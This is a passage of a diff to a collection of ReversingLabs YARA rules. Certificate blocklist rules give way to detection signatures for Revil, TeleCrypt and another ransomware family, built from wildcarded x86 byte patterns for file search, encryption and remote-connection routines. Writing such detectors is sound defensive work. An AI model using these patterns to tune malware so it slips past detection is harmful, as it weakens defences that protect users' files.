FF + } + $search_and_encrypt_v1_p3 = { + 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A + ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9 + ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2 D0 C2 AA E2 ?? A1 ?? ?? ?? ?? 80 + 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? + ?? EB ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? + ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? + ?? ?? C9 C3 + } + $extract_rsrc_v1 = { + 55 8B EC 83 C4 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 0F 31 5F 59 25 ?? ?? ?? ?? C1 + E8 ?? 83 C0 ?? AA E2 ?? 33 C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 50 6A ?? E8 ?? + ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 + 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 6A ?? 6A + ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 53 FF 75 ?? E8 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 + ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? + C9 C3 + } + $search_and_encrypt_v2_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F + 84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C + ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 + ?? 74 ?? E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68 + } + $search_and_encrypt_v2_p2 = { + E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? 6A + ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F + 84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? + ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? + ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2 + D0 C2 AA E2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF + 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? FF 75 ?? E8 ?? ?? ?? ?? C9 C3 + } + $extract_rsrc_v2 = { + 55 8B EC 83 C4 ?? 53 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 + 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? FF 75 ?? 6A ?? E8 + ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? + ?? ?? ?? 89 45 ?? 8B F8 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 8B 45 ?? 83 + E8 ?? 50 57 E8 ?? ?? ?? ?? 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 + FB 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? + ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 8B 1F 83 C7 ?? 53 6A + ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57 + FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 + ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 + ?? FF 75 ?? E8 ?? ?? ?? ?? 5B C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "f8:c2:23:9d:e3:97:7b:8d:4a:3d:cb:ed:c9:03:1a:51" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $extract_rsrc_v1 ) and ( all of ( $search_and_encrypt_v1_p* ) ) ) or ( ( $extract_rsrc_v2 ) and ( all of ( $search_and_encrypt_v2_p* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Caad8222705D3Fb3430E114A31C8C6A4 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Revil : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Revil ransomware." author = "ReversingLabs" - id = "d95b5e25-679c-57f8-b790-8f5633a23e4b" - date = "2020-08-05" - modified = "2023-11-08" + id = "67c2f49e-b9dc-5900-a89d-49ba41088ac3" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1290-L1306" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Revil.yara#L1-L101" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "35c4f46322da4f5b9f938c1098c8e57effc8abfc03db865190c343df7b8990ea" + logic_hash = "24a79477eb797d7a7121d1248ebbece833ccd256de55729ff96084135ce8d426" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Revil" + tc_detection_factor = 5 importance = 25 + strings: + $search_files = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 33 C0 57 8B 7D ?? 8B D8 50 56 89 45 ?? 89 + 5D ?? 89 45 ?? 89 45 ?? FF 57 ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 56 50 E8 ?? + ?? ?? ?? 53 56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? E9 ?? ?? ?? ?? 8B 45 ?? + 0B 45 ?? 74 ?? FF 33 56 E8 ?? ?? ?? ?? 8B F3 8B 5B ?? 89 5D ?? FF 36 E8 ?? ?? ?? ?? + 56 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 83 C0 ?? 89 45 ?? 83 D1 ?? 0B C1 89 4D + ?? 75 ?? 21 45 ?? 8B 75 ?? 33 C0 40 85 C0 0F 84 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? + ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8D 04 46 50 E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 59 + 74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 57 ?? 83 C4 ?? 85 + C0 74 ?? 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 77 ?? FF 57 ?? 83 + C4 ?? 01 47 ?? 11 57 ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 50 89 45 ?? 8D 85 + ?? ?? ?? ?? 53 50 56 FF 57 ?? 83 C4 ?? 85 C0 74 ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 53 50 + 56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? 83 3F ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 + FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 5D + ?? 83 3F ?? 0F 84 ?? ?? ?? ?? EB ?? 8B F3 8B 5B ?? FF 36 E8 ?? ?? ?? ?? 56 E8 ?? ?? + ?? ?? 59 59 85 DB 75 ?? 5F 5E 5B 8B E5 5D C3 + } + $remote_connection = { + 55 8B EC 81 EC ?? ?? ?? ?? 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C0 66 89 85 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 56 56 56 56 50 FF 15 ?? ?? ?? ?? 8B F8 33 C0 89 7D ?? 85 FF 0F 84 ?? ?? + ?? ?? 66 89 45 ?? 33 C9 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 56 FF 75 ?? 41 89 75 ?? + 89 75 ?? 89 75 ?? 89 75 ?? 89 4D ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 + 4D ?? 89 75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 33 C0 E9 + ?? ?? ?? ?? 8B 4D ?? 33 D2 8B 45 ?? 53 56 66 89 14 41 FF 75 ?? FF 75 ?? 57 FF 15 ?? + ?? ?? ?? 8B D8 89 5D ?? 85 DB 75 ?? 57 EB ?? 8B 45 ?? 66 39 30 75 ?? 6A ?? 59 66 89 + 08 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 + C0 83 7D ?? ?? B9 ?? ?? ?? ?? 66 89 45 ?? 0F 44 C1 0D ?? ?? ?? ?? 50 56 56 56 FF 75 + ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FE 50 6A ?? 6A ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 45 ?? 56 FF 75 ?? 8D 85 + ?? ?? ?? ?? FF 75 ?? FF 75 ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? + ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 53 FF 15 ?? ?? + ?? ?? 85 C0 6A ?? 58 0F 45 F8 85 FF 75 ?? 8B 45 ?? 56 53 89 30 FF 15 ?? ?? ?? ?? 8B + 7D ?? 85 C0 74 ?? 56 8D 45 ?? 89 75 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 68 ?? + ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? F7 D8 1B C0 23 45 ?? 89 01 3D ?? ?? ?? ?? 75 + ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 8B F0 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C6 5B 5F 5E 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 51 83 7D ?? ?? 53 56 57 BB ?? ?? ?? ?? 7F ?? 7C ?? 39 5D ?? 73 ?? 8B 5D ?? + 8B 7D ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 59 59 EB ?? E8 ?? ?? ?? ?? 83 F8 ?? + 75 ?? 6A ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 + F6 74 ?? 89 9E ?? ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? EB ?? 33 C0 EB ?? E8 ?? ?? + ?? ?? 8B 55 ?? 8B CA 4A 89 55 ?? 85 C9 74 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 83 + F8 ?? 74 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 56 E8 ?? + ?? ?? ?? 8B C6 59 5F 5E 5B 8B E5 5D C3 56 57 E8 ?? ?? ?? ?? 59 33 C0 EB + } + $enum_resources = { + 55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 + ?? 33 C0 E9 ?? ?? ?? ?? 83 4D ?? ?? B8 ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B + F8 59 85 FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 53 56 8D 45 ?? 50 57 8D 45 + ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 33 DB 39 5D ?? 76 ?? 8D 77 ?? + 83 7E ?? ?? 75 ?? FF 75 ?? FF 36 E8 ?? ?? ?? ?? 59 59 F6 46 ?? ?? 74 ?? 8D 46 ?? 50 + FF 75 ?? E8 ?? ?? ?? ?? 59 59 43 83 C6 ?? 3B 5D ?? 72 ?? 8B 45 ?? 3D ?? ?? ?? ?? 75 + ?? 57 E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 5E 1B C0 40 5B 5F 8B E5 5D + C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "ca:ad:82:22:70:5d:3f:b3:43:0e:11:4a:31:c8:c6:a4" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $search_files ) and ( $encrypt_files ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_B191812516E6618D49E6Ccf5E63Dc343 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Telecrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects TeleCrypt ransomware." author = "ReversingLabs" - id = "8f316011-9a29-5366-a26a-1fe20651ef17" - date = "2020-08-05" - modified = "2023-11-08" + id = "c4eada2d-72c0-5efe-bf2b-8f053348d89d" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1308-L1324" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TeleCrypt.yara#L1-L109" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "40c03e683b4b8e8a23ca84da7dfd3bd998d3708b27b7df7a22f25fb364c3a69b" + logic_hash = "9d856eae4369cd7ba1d88bd6ef37931e069127e2c05a84a44f5274f681e83fc0" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "TeleCrypt" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_file = { + 57 E8 ?? ?? ?? ?? 89 03 EB ?? 6A ?? E8 ?? ?? ?? ?? 89 03 66 83 BB ?? ?? ?? ?? ?? 0F + 85 ?? ?? ?? ?? 8B 03 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 81 7B ?? ?? ?? 75 ?? E8 ?? + ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 43 ?? ?? ?? + ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 6A ?? 6A ?? 50 8D 43 ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 + ?? 66 C7 43 ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 89 03 66 81 7B ?? ?? ?? 0F + 85 ?? ?? ?? ?? 66 C7 43 ?? ?? ?? 6A ?? 8B 03 50 E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? + 8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 85 FF 7D ?? 33 FF 6A ?? + 6A ?? 57 8B 03 50 E8 ?? ?? ?? ?? 40 74 ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 83 + ?? ?? ?? ?? 50 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ?? + ?? ?? ?? F6 43 ?? ?? 74 ?? 83 3C 24 ?? 76 ?? 8B 14 24 4A 85 D2 72 ?? 42 33 FF 8D 83 + ?? ?? ?? ?? 80 38 ?? 75 ?? 6A ?? 6A ?? 8B C7 2B 44 24 ?? 50 8B 03 50 E8 ?? ?? ?? ?? + 40 74 ?? 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 EB ?? 47 40 + 4A 75 ?? 66 83 BB ?? ?? ?? ?? ?? 75 ?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? 66 + 81 7B ?? ?? ?? 74 ?? 8B 03 50 E8 + } + $server_communication = { + 6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A + ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? + ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? + 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? + 33 C9 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ?? + ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 33 DB 8B CB B8 ?? ?? ?? + ?? D3 E0 85 F0 74 ?? 8D 45 ?? 8B D3 66 83 C2 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 43 83 FB ?? 75 ?? A1 ?? ?? + ?? ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B + 38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 4E 75 ?? A1 ?? ?? ?? ?? 8B 10 + FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 6A ?? 6A ?? 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B + 38 FF 57 ?? 8B 45 ?? 8B 0D ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 43 4E 75 ?? 8D 55 ?? B8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? + ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 + ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 + } + $server_communication_1 = { + 55 8B EC 33 C9 51 51 51 51 51 53 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A + ?? 8D 45 ?? 50 33 C9 BA ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? + 50 8D 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? + ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 33 C9 8B 83 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 33 D2 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? 